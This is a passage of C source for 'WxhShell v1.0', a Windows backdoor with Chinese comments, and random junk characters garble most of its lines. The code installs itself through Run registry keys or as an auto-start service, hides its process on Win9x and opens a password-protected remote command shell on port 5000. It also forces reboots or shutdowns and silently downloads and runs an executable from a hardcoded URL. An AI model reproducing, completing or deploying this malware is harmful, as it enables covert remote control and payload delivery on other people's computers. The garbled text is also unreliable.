} PROCESS_BASIC_INFORMATION; 5'~_d@M
xP9(J
0y
PROCNTQSIP NtQueryInformationProcess; SUncQJJ0S*
:d36oiHKu
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n|SV)92o1
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }h5i Tc
)+E[M!34
HANDLE hProcess; 1j<(?MT-
PROCESS_BASIC_INFORMATION pbi; }]?Si6_ZZ
1 DWoL}Z
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
157_0
if(NULL == hInst ) return 0; \N>-+r
wl
Oeoi
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (q>
TKM
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /0h
*(nL
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <j'V}|3
p\6cpf
if (!NtQueryInformationProcess) return 0; kI\m0];KnQ
-Mt
5< s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [4Z 31v>
if(!hProcess) return 0; XpQ Ol
U2oCSo5:3N
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ykbg5Z
u2V-V#jS
CloseHandle(hProcess); *2'8d8>R%]
K"}fD;3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _]Hna <Ly
if(hProcess==NULL) return 0; ^NW[)Dq1<
(B7G'h.?
HMODULE hMod; 7io["zW
char procName[255]; i=8iK#2 h
unsigned long cbNeeded; @=Kq99=\U
}{aGh I~<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1gEH~Jmj
OW:*qY c;:
CloseHandle(hProcess); jcH@*c=%e
nR!e(
if(strstr(procName,"services")) return 1; // 以服务启动 (
?V`|[+u
FqKJids-
return 0; // 注册表启动 ;t`
?|
} yC,/R371k
WeI+|V$
// 主模块 |D3u"Y!:^
int StartWxhshell(LPSTR lpCmdLine) Q M,!-~t
{ N0U/u'J!g
SOCKET wsl; #Ondhy%h[
BOOL val=TRUE; )Nv1_en<!
int port=0; VSj!Gm0LB
struct sockaddr_in door; ~xH&"1
+Q*`kg'
if(wscfg.ws_autoins) Install(); 7p&jSOY
XX;4A
port=atoi(lpCmdLine); 30Yis_l2h
.p`4>XA
if(port<=0) port=wscfg.ws_port; g8),$:Uw
)^h6'h`
WSADATA data; bQll;U^A
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?Cq7_rq
cw;wv+|k
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ZO}Og&%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #m+!<
door.sin_family = AF_INET; l{3B}_,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); `sxfj)s
door.sin_port = htons(port); uFd$*`jS
q^@*{H
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +Qs]8*^?;
closesocket(wsl); >%JPgr/
8
return 1; Otn,UoeeB
} jXcJ/g(X3
)n/%P4l
if(listen(wsl,2) == INVALID_SOCKET) { QaX.Av
closesocket(wsl);
w-jElV
return 1; 0MQ= Rt
} bP,<^zA|X
Wxhshell(wsl); 3KLUH=)P
WSACleanup(); GnV0~?
<?jdNM
return 0; 93-Y(Xx)bY
vG&>-Z
} yev!Nw
V la,avON
// 以NT服务方式启动 X/]@EF
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C2LPLquD+
{ ~PQ.l\C
DWORD status = 0; NGra/s,9|
DWORD specificError = 0xfffffff; H/8^Fvd
]5W$EvZ9)
serviceStatus.dwServiceType = SERVICE_WIN32; lwnO
serviceStatus.dwCurrentState = SERVICE_START_PENDING; }ze+ tf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I8*VM3
serviceStatus.dwWin32ExitCode = 0; ;'!x
serviceStatus.dwServiceSpecificExitCode = 0; !\]^c
serviceStatus.dwCheckPoint = 0; #GsOE#*>T
serviceStatus.dwWaitHint = 0; SpH|<L3
jA? #!lx_
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c=\tf~}^Ms
if (hServiceStatusHandle==0) return; (5a73%>@
P{L=u74b{x
status = GetLastError(); 7GA8sK
if (status!=NO_ERROR) Wj{lb_Rj
{ vr!J3H f
serviceStatus.dwCurrentState = SERVICE_STOPPED; 91
jRIB
serviceStatus.dwCheckPoint = 0;
Xo^8o0xi
serviceStatus.dwWaitHint = 0; 9#LMK 1ge
serviceStatus.dwWin32ExitCode = status; ,OZ
serviceStatus.dwServiceSpecificExitCode = specificError; .^YxhUH,G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p_r` "
return; $QX$r N
} ROO*/OOd
?7{U=1gb$
serviceStatus.dwCurrentState = SERVICE_RUNNING; |%_C$s%
serviceStatus.dwCheckPoint = 0; *%-<Ldv
serviceStatus.dwWaitHint = 0; .soCU8i3
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }A9#3Y|F
} Xj?Wvt
QxT'\7f
// 处理NT服务事件,比如:启动、停止 ~C-Sr@ a?/
VOID WINAPI NTServiceHandler(DWORD fdwControl) *miG<
{ #ydold{F
switch(fdwControl) #J5BHY~
{ 9O[IR)O~
case SERVICE_CONTROL_STOP: [X(m[u '%
serviceStatus.dwWin32ExitCode = 0; jzvK;*N
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4^_6~ YP7
serviceStatus.dwCheckPoint = 0; BU
nujC
serviceStatus.dwWaitHint = 0; C|{Sj`,XG
{ PjQl(v&O
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :cpj{v;s
} $+eeE
return; N#w5}It
case SERVICE_CONTROL_PAUSE: Iil2R}1
serviceStatus.dwCurrentState = SERVICE_PAUSED; WR+j?Fcf
break; !0
7jr%-~
case SERVICE_CONTROL_CONTINUE: d[9,J?'OQ
serviceStatus.dwCurrentState = SERVICE_RUNNING; p^l#Wq5
break; uH_KOiF
case SERVICE_CONTROL_INTERROGATE: dg D-"-O
break; mY|c7}>V;
}; sA0Ho6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zI88IM7/
} ! FcGa
KbJ6U75|f
// 标准应用程序主函数 Fwm$0=BXL
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z*3b2nV
{ l;F"m+B!$
ZvY"yl?e
// 获取操作系统版本 ,%i
Scr,z
OsIsNt=GetOsVer(); s|YH_1r
GetModuleFileName(NULL,ExeFile,MAX_PATH); h yrPu_
0
_!0\d#c
// 从命令行安装 uJ`N'`Z
if(strpbrk(lpCmdLine,"iI")) Install(); M-WSdG[AJ
NP>v@jO
// 下载执行文件 SH*'<
if(wscfg.ws_downexe) { ^Z (cVg
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7:`XE&Z
WinExec(wscfg.ws_filenam,SW_HIDE); ;_sJ>.=\
} ;H$Cq'
I
BD6!,
if(!OsIsNt) { H`[FC|RYyE
// 如果时win9x,隐藏进程并且设置为注册表启动 |$.?(FZYu
HideProc(); z:'m50'
StartWxhshell(lpCmdLine); +h)"m/mE
} LpHGt]|D
else L
K&c~
Uy
if(StartFromService()) 2OG/0cP
// 以服务方式启动 8 Ku9;VEk
StartServiceCtrlDispatcher(DispatchTable); N'1I6e"
else *0U#Z]t
// 普通方式启动 \Y#
StartWxhshell(lpCmdLine); _KRnx-
=lNW1J\SW
return 0; V[ UOlJ
} _/[qBe
+|?a7qM
3G// _f
mR}8} K]L
=========================================== )L<.;`g4x
u5CSx'h]
I0-1Hr
a[ULSYEi
lp*5;Ls'q
NF$6yv9C
" <3Ftq=
nC:T0OJv
#include <stdio.h> ^Ks1[xc* `
#include <string.h> W3i<Unq
#include <windows.h> Rsx6vF8]5
#include <winsock2.h>
&_)P)L
#include <winsvc.h> UG vIH m
#include <urlmon.h> k?cX fj&
o!xCM:+J
#pragma comment (lib, "Ws2_32.lib") oKGH|iVEe
#pragma comment (lib, "urlmon.lib") /fQcrd7h
e]<Syrk
#define MAX_USER 100 // 最大客户端连接数 .+7n@Sc
#define BUF_SOCK 200 // sock buffer iBE|6+g~Cj
#define KEY_BUFF 255 // 输入 buffer 4DIU7#GG
'm0WPS/6E
#define REBOOT 0 // 重启 t/i*.>7
#define SHUTDOWN 1 // 关机 R6~6b&-8
tbQY&TO1
#define DEF_PORT 5000 // 监听端口 5{ap
1I;q@g0
#define REG_LEN 16 // 注册表键长度 XRaGV~
#define SVC_LEN 80 // NT服务名长度 s$y_(oU,D
'{`KYKLP+
// 从dll定义API j)ic7b
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Fd8nR9A
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d /jx8(0
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dcKpsX
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
u7!gF&tA
2_$8Ga
// wxhshell配置信息 >A )Sl'
struct WSCFG { .)*&NY!nsl
int ws_port; // 监听端口 j,rc9
char ws_passstr[REG_LEN]; // 口令 8;M,l2pmR{
int ws_autoins; // 安装标记, 1=yes 0=no \ZnA%hC
char ws_regname[REG_LEN]; // 注册表键名 `=Mk6$%Cs
char ws_svcname[REG_LEN]; // 服务名 mbAzn
char ws_svcdisp[SVC_LEN]; // 服务显示名 ~#gc{C@
char ws_svcdesc[SVC_LEN]; // 服务描述信息 $#^3>u
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U" @5R[=F-
int ws_downexe; // 下载执行标记, 1=yes 0=no jS,Pu%fR
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c[J 2;"SP
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fwppqIM
WjBml'^RY
}; U/c+j{=~
Iq|h1ie
m+
// default Wxhshell configuration HX.K{!5
struct WSCFG wscfg={DEF_PORT, Cq@7oi]W0
"xuhuanlingzhe", 03?ADjO
1, a,rXG
"Wxhshell", _9oKW;7f7
"Wxhshell", ErN[maix#
"WxhShell Service", '
!huU
"Wrsky Windows CmdShell Service", #h ud_
"Please Input Your Password: ", ,):aU
1, _Q:ot'(~0-
"http://www.wrsky.com/wxhshell.exe", P]"@3Z&w
"Wxhshell.exe" ?;=7{Ej
}; OL1xxzo
$7X;FmlG&
// 消息定义模块 *Y1s4FXu2
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; do`'K3a"
char *msg_ws_prompt="\n\r? for help\n\r#>"; }51QUFhL0
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^uo,LTq+
char *msg_ws_ext="\n\rExit."; \,v^v]|
char *msg_ws_end="\n\rQuit."; YBY;$&9
char *msg_ws_boot="\n\rReboot..."; 9f['TG,"
char *msg_ws_poff="\n\rShutdown..."; v~RxtTu
char *msg_ws_down="\n\rSave to "; [\F:NLjiUy
4][VK/v+
char *msg_ws_err="\n\rErr!"; wgDAb#Zuk
char *msg_ws_ok="\n\rOK!"; hW~% :v
l="(Hp%b
char ExeFile[MAX_PATH]; j gV^{8qG
int nUser = 0; 2SU'lh\E
HANDLE handles[MAX_USER]; lC*xyOK
int OsIsNt; .}E<,T
F_u?.6e]
SERVICE_STATUS serviceStatus; pg!mOyn
SERVICE_STATUS_HANDLE hServiceStatusHandle; .aL%}`8l?
0gyvRM@ x[
// 函数声明 D}%VZA}].
int Install(void); EAY+#>L*
int Uninstall(void); q2k}bb +
int DownloadFile(char *sURL, SOCKET wsh); -X *.scw
int Boot(int flag); !}A`6z
void HideProc(void); 4PC'7V=S
int GetOsVer(void); y2k's
int Wxhshell(SOCKET wsl); DvN_}h^nX
void TalkWithClient(void *cs); &2@"zD
int CmdShell(SOCKET sock); depCqz@
int StartFromService(void); 9[t-W:3c7
int StartWxhshell(LPSTR lpCmdLine); dyqk[$(
zCq6k7u
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WKr4S<B8mr
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L9[m/(:y
YTgT2w
// 数据结构和表定义 q.:a4w J
SERVICE_TABLE_ENTRY DispatchTable[] = 2+|r*2_glo
{ 5m;pHgkb
{wscfg.ws_svcname, NTServiceMain}, [)IaXa
{NULL, NULL} 3b?-83a
}; >$<Q:o}^
zBrIhL]95
// 自我安装 tIA)LF
int Install(void) r& RJ'z
{ `,
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char svExeFile[MAX_PATH]; 823y;
HKEY key; )`=N+k]
strcpy(svExeFile,ExeFile); AED
9vDE
D9(4%^HxV1
// 如果是win9x系统,修改注册表设为自启动 yl<=_Q
if(!OsIsNt) { 9<Zm}PE32
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VQ~eg wJL
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I%?M9y.u6
RegCloseKey(key); 1_~'?'&^
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Aw <:
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J_
h\tM
RegCloseKey(key); N}|1oQkjf
return 0; Q<osYO{l
} <!u(_Bxw/
} cP21x<n
} #.j:P#
else { 9 Up>e
Rlr[uU_
// 如果是NT以上系统,安装为系统服务 Cn9MboXX
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ht:L
L#b*(
if (schSCManager!=0) ,!~U5~
{ Mi!ak
SC_HANDLE schService = CreateService ' ]Km%uwL
( 8W.-Y|[5?
schSCManager, z ISy\uka
wscfg.ws_svcname, jaTCRn3|<
wscfg.ws_svcdisp, 7")&njQ/x
SERVICE_ALL_ACCESS, ^-}3+YA
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H]lD*3b
SERVICE_AUTO_START, a
8jG')zg
SERVICE_ERROR_NORMAL, oRn 5blj
svExeFile, gn 9CZ
NULL, yErvgf
NULL, 'bef3P9`
NULL, .|ZnU]~T
NULL, v^IMN3^W
NULL
(+\K
); @iz6)2z
if (schService!=0) Io;26F""
{ `tsqnw
CloseServiceHandle(schService); i];@ e]
CloseServiceHandle(schSCManager); X<"#=u(
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qmpU{fs
strcat(svExeFile,wscfg.ws_svcname); :;x#qtv~Iz
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9e1KH'
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K)oN^
RegCloseKey(key); H%c{ }F
return 0; DB1Y`l
} LD5E
} RA62Z&W3
CloseServiceHandle(schSCManager); XG6UV('
} )\0c2_w>
} Z Q9's
)&elr,b/y
return 1; f1VA61z{)
} 20uR? /|@
=>h~<88#5
// 自我卸载 w*N9p8hb]
int Uninstall(void) ]| =#FFz
{ v3jx2Z
HKEY key; UUql"$q
F9SIC7}uH
if(!OsIsNt) { j#XU\G
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (aH_K07
RegDeleteValue(key,wscfg.ws_regname); {Q~A;t
RegCloseKey(key); }%-`CJ,
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vCNYqa)m:
RegDeleteValue(key,wscfg.ws_regname); jZY9Lx8o
RegCloseKey(key); ;,&1
return 0; u"n~9!G
} ph1veD<ZZ
} ? Kn~fs8
} k}Vu!+c z
else { Ol@
YSk d
\+w -{"u$
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V/!8q`lYNJ
if (schSCManager!=0) aKCXV[PO
{ A&0sD}I\K
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Uz!cVs?-
if (schService!=0) 8:A6Ew&\]O
{ mY1$N}8fm
if(DeleteService(schService)!=0) { - r82'3]
CloseServiceHandle(schService); C44Dz.rs
CloseServiceHandle(schSCManager); l>9ZAI\^
return 0; m;LeaD}0
} P3YG:*
CloseServiceHandle(schService); bsmnh_YRj
} Om2
)$(
CloseServiceHandle(schSCManager); o' DXd[y
} W,>;`>
} (5N&bh`E
%lPFq-
return 1; {Z|.-~W
} g<{W\VOPm
|3g:q
// 从指定url下载文件 C31SXQ
int DownloadFile(char *sURL, SOCKET wsh) 1<qq6 9x
{ ^Q_0Zq^H
HRESULT hr; Hca)5$yL
char seps[]= "/"; jKu"Vi|j>
char *token; A|@d4+
char *file; L*VGdZ
char myURL[MAX_PATH]; ;z7iUke0%
char myFILE[MAX_PATH]; 'bg%9}
nyPA`)5F0
strcpy(myURL,sURL); GRj{*zs
token=strtok(myURL,seps); gGdZ}9
while(token!=NULL) 'gE_xn7j
{ G";yqG
file=token; _B|g)Rdv
token=strtok(NULL,seps); #,qikKjt2
} HWGlC <
M|`%4vk>
GetCurrentDirectory(MAX_PATH,myFILE); .|{*.YE
strcat(myFILE, "\\"); *pvhkJ g(
strcat(myFILE, file); }qXi;u))
send(wsh,myFILE,strlen(myFILE),0); *-Y|qS%
send(wsh,"...",3,0); )f'cy@b
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i@_|18F]`
if(hr==S_OK) M ~!*PCd5
return 0; $0K9OF9$
else I\DT(9
'E
return 1; rYq8OZLi
{{=7 mbc
} QkzPzbF"
@v2kAOw[
// 系统电源模块 gy<pN?Mw
int Boot(int flag) O`mW,
{ _&JlE$ua7
HANDLE hToken; Ty]CdyL$
TOKEN_PRIVILEGES tkp; 5NeEDY2%#
'F[Q E9]*
if(OsIsNt) { 7IZ(3B<87t
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q^dI!93n|
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ScfW;
tkp.PrivilegeCount = 1; w];t ]q|
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iygdX2
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8'#%7+ "=!
if(flag==REBOOT) { ,)Z^b$H]
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mi'eViH
return 0; .'7o,)pJ<
} 'L0 2lM
else { <v[,A8Q
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y)#Ib*?
return 0; M* QqiE
} kAbT&Rm"
} FAU^(]-5m
else { fwxyZBr
if(flag==REBOOT) { P/Sv^d5=e
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i' |S
g
return 0; P RX:*0
} '1r:z, o|
else { [>?B`1;@
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tp*AA@~
return 0; m2<sVTN`^
} Fz)z&WT
} 3r^i>r8B
"W:'cIw
return 1; Te!q(;L`4
} <r3F*S=
;U}lh~e11
// win9x进程隐藏模块 tM]qR+
void HideProc(void) i':<